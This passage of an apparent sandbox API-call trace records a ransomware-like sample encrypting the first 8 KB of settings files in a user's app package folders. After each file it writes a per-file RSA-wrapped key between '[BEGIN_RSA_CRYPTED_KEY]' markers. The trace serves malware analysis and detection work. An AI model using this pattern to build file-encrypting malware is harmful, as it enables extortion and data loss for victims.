out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0199.051] CloseHandle (hObject=0xf48) returned 1 [0199.051] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0199.051] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.OneConnect_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0199.052] ReadFile (in: hFile=0xf5c, lpBuffer=0x2f9b8f8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f9b8f8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0199.060] SetFilePointer (in: hFile=0xf5c, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.060] WriteFile (in: hFile=0xf5c, lpBuffer=0x2f958e0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f958e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0199.061] SetFilePointer (in: hFile=0xf5c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0199.061] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.061] WriteFile (in: hFile=0xf5c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.061] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0199.061] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0199.061] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0199.062] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="COB3JTU0bWC8nXOEFwmz95ciXa2EKuuP10/l2jRyWBuOW7/Qn254gwPn1oe1cTiK\nxjY/s52RdNz52E5mIGOmyjzq4SacCtwH0HBrX03TCivAdhlQ74fWQWbbYlW318Zj\nxvfvouwFIsCrht3s3+TPkAW+xGY3Z4Br9CzaPF+rerHGOp0yXwR7ShQPiU0zgp+N\nJ+ffoYFwAL0RiH8eRtT4HE7Q9nxrPy5a4f9CofDywxLHqu+gb12yNWHthw7xD6dA\nako0m495ZZmkcdzVSIZxBnbAh+9vqTGTHihSNhuWjq6gjmFILzoHWomS4MO8rsW3\nD9RVnOaSuN+9Y2XeLlwgLA==\n", pcchString=0x2e3f9a8) returned 1 [0199.062] WriteFile (in: hFile=0xf5c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0199.062] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.062] WriteFile (in: hFile=0xf5c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.062] CloseHandle (hObject=0xf5c) returned 1 [0199.066] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0199.066] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.OneConnect_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0199.066] ReadFile (in: hFile=0xf5c, lpBuffer=0x59d2f0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2f0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0199.066] SetFilePointer (in: hFile=0xf5c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.066] WriteFile (in: hFile=0xf5c, lpBuffer=0x59d340*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d340*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0199.066] SetFilePointer (in: hFile=0xf5c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0199.066] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.066] WriteFile (in: hFile=0xf5c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.068] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0199.068] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0199.068] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0199.068] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="KD9UHESdJ+pdBBX1whouuaGfC4OAr5tANaSGAowbOYo5eyDX6mD5QIyrk9YDwK4Y\ncDxscCgoCbeGzSeAIyqwnkGHeeVdnAX6lLaKsHNZatl0sjcergTv4kvBwW4cGGmH\nDNjW22FPgjDJxGZLIolVK5514/ObaZEixiJCqANvU3eHE7KUAKOuybEPZA+JYoiB\nsyFKABLcR/2qQL7D953aOrp4xNw08kIWYhS6bIQgaRq0/UQva8yKm1wxqz+fVMnB\nlYHqpitMAoL2+lTXfNcRsbYIcCLeJwvVQlUyDVpJn+GkzcfXkNMKfn1wsG2EOT4e\nZcJF7lMuFMLIDXXX3Z7tLQ==\n", pcchString=0x2e3f9a8) returned 1 [0199.068] WriteFile (in: hFile=0xf5c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0199.069] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.069] WriteFile (in: hFile=0xf5c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.069] CloseHandle (hObject=0xf5c) returned 1 [0199.073] WriteFile (in: hFile=0xf68, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0199.075] CloseHandle (hObject=0xf68) returned 1 [0199.076] WriteFile (in: hFile=0xf68, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0199.077] CloseHandle (hObject=0xf68) returned 1 [0199.078] WriteFile (in: hFile=0xf68, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0199.079] CloseHandle (hObject=0xf68) returned 1 [0199.080] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0199.080] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.People_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0199.096] ReadFile (in: hFile=0xf7c, lpBuffer=0x59d320, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d320*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0199.096] SetFilePointer (in: hFile=0xf7c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.097] WriteFile (in: hFile=0xf7c, lpBuffer=0x59d210*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d210*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0199.097] SetFilePointer (in: hFile=0xf7c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0199.097] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.097] WriteFile (in: hFile=0xf7c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.099] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0199.099] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0199.099] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0199.099] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="OCfu6cbuM0pQNchIP70f+8U2aQofc0kHatWUdurmyKaCFDnlmPXwBReWT2ffnQkP\nuzI1L4+/couXNmcFle7e6J+etSdPu2no4k0qS7X7RCIL9Pvq5cya8QvMxaxnE5SW\ng53zhXjroUz23Qqk0SPibBzoimoSSVuhFaP1430aQ/ZZWzxJXRObHBhNgpS/LBLB\nZCcttH5Z8rm+nqkU+AH+supBkgEq41x2he+Hn5y9/KPVk1aNbLiJL3xMKvHq9C8I\nNNYyxlG9a93FNJOYojKBpNBVy4AFJd1LuV1BCV2wBdbPY8Tp3YIXDGRBdobAbZqC\nYbJeQUjeC53wVVUPxV9TYw==\n", pcchString=0x2e3f9a8) returned 1 [0199.099] WriteFile (in: hFile=0xf7c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0199.100] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.100] WriteFile (in: hFile=0xf7c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.100] CloseHandle (hObject=0xf7c) returned 1 [0199.104] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0199.104] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.People_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0199.112] ReadFile (in: hFile=0xf7c, lpBuffer=0x2f8d8c0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8d8c0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0199.149] SetFilePointer (in: hFile=0xf7c, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.149] WriteFile (in: hFile=0xf7c, lpBuffer=0x2f8f8c8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8f8c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0199.149] SetFilePointer (in: hFile=0xf7c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0199.150] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.150] WriteFile (in: hFile=0xf7c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.150] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0199.150] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0199.151] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0199.151] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="fDSvWDjtW8OKYyernE5L/Gtcc24r4hEoCG4W1MRyY7QF5SKkuqs78Q2l9p7gMfDV\nOKhUmWFDKAXIl8RpBT4yKmmormHaYzrtq8vGoQeGBW3qyo0ig4wn04h2VPiHqCsm\njcvCSYL2qSxFv1QSFrdNIXCjNFz2HdpYATYiUx7HsCe6ZLpbrrkaixawzCP/sxOL\ntMvnRKzrPrNBjw4LQXRawFMSnmQ102h9DwHGrGCrdTz0vz5YTUprjrAtzL0sHQFU\neO1dveWVMzBtImj5fXYNwJB8z/qfCYNVr4FxKqDqyTy2fcRWjhrv6A64uGyUzktk\ny12RhgB6C100imAxBzomoQ==\n", pcchString=0x2e3f9a8) returned 1 [0199.151] WriteFile (in: hFile=0xf7c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0199.151] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.151] WriteFile (in: hFile=0xf7c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.152] CloseHandle (hObject=0xf7c) returned 1 [0199.156] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0199.156] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.People_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0199.157] ReadFile (in: hFile=0xf7c, lpBuffer=0x2f998f0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f998f0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0199.166] SetFilePointer (in: hFile=0xf7c, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.166] WriteFile (in: hFile=0xf7c, lpBuffer=0x2f9b8f8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f9b8f8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0199.167] SetFilePointer (in: hFile=0xf7c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0199.167] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.167] WriteFile (in: hFile=0xf7c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.168] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0199.168] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0199.168] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0199.168] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="fy5pfSpLm/Kxr1OYSVxF9toNPjfORu6bHBGEQuBvL8K4dYcg8BMQ4sqQ9zP9m9rk\nZ+HX/iY+Hg0/XtXHTpLdcZgA0cZrb1ruQOU0/h/YkOJHSD3jrpKPyLtl5M9qswNk\nvJF65SaQ8GJJk7WAvB+hsT7LtmzAaz+voKSKdNA+3hOJl5KOzEfYPGkV3eizlaUI\n/8zY4LEwCaQLrfkDhqhkiZUI1tVXl87NHjzE+ENK9JiQFvMvQh22BbVVjVGajDAF\nbu1nWTL0jA7FrA+m6a3YESdPCuJ9lkUBeZoew6SD7dvSInQ8NfJaRldq0Lb+QgT/\n6a7vxtXni0M6kRJ5AUErVw==\n", pcchString=0x2e3f9a8) returned 1 [0199.168] WriteFile (in: hFile=0xf7c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0199.169] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.169] WriteFile (in: hFile=0xf7c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.169] CloseHandle (hObject=0xf7c) returned 1 [0199.171] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0199.171] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.People_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0199.171] ReadFile (in: hFile=0xf7c, lpBuffer=0x59d250, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d250*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0199.171] SetFilePointer (in: hFile=0xf7c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.171] WriteFile (in: hFile=0xf7c, lpBuffer=0x59d240*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d240*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0199.171] SetFilePointer (in: hFile=0xf7c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0199.172] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.172] WriteFile (in: hFile=0xf7c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.173] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0199.173] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0199.173] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0199.173] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="QDaxf5VMKG5Xs8vIFVXBGFCq2ze8RCDunK8oCamjT8G7mS4hbiR0ytq/fbAVPeMG\nEnE/oNxRtqQ5HVeBoYqC1p20xS1HlK/lPTsu06piysKtcEWvkZ4i4CbSWoCEJlTQ\n1GIoAhO/lXev9xzeTKzz2sb0Akdp+zzktbp3ulyvSyyWkwdPd+Fi1Ki5hT0yY7ef\nYPK0tx5lPC8zG5lzWwrQVOoVR9TAhDTKcYkuD3liWDw0V4DAM8g7RTGw260B5C3X\nRFBSjqDiYNUMkW1C4d2vsZjwXN7ELQy/7ce5vWfkefooWOOcu9WdDkwLvXzJ/sTK\nHcwaORik65hnnCdWRGb3Wg==\n", pcchString=0x2e3f9a8) returned 1 [0199.173] WriteFile (in: hFile=0xf7c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0199.174] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.174] WriteFile (in: hFile=0xf7c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.174] CloseHandle (hObject=0xf7c) returned 1 [0199.177] WriteFile (in: hFile=0xf88, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0199.179] CloseHandle (hObject=0xf88) returned 1 [0199.181] WriteFile (in: hFile=0xf88, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0199.182] CloseHandle (hObject=0xf88) returned 1 [0199.183] WriteFile (in: hFile=0xf88, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0199.184] CloseHandle (hObject=0xf88) returned 1 [0199.185] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0199.185] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.PPIProjection_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0199.185] ReadFile (in: hFile=0xf9c, lpBuffer=0x2f958e0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f958e0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0199.193] SetFilePointer (in: hFile=0xf9c, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.193] WriteFile (in: hFile=0xf9c, lpBuffer=0x2f9b8f8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f9b8f8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0199.194] SetFilePointer (in: hFile=0xf9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0199.194] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.194] WriteFile (in: hFile=0xf9c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.195] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0199.195] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, 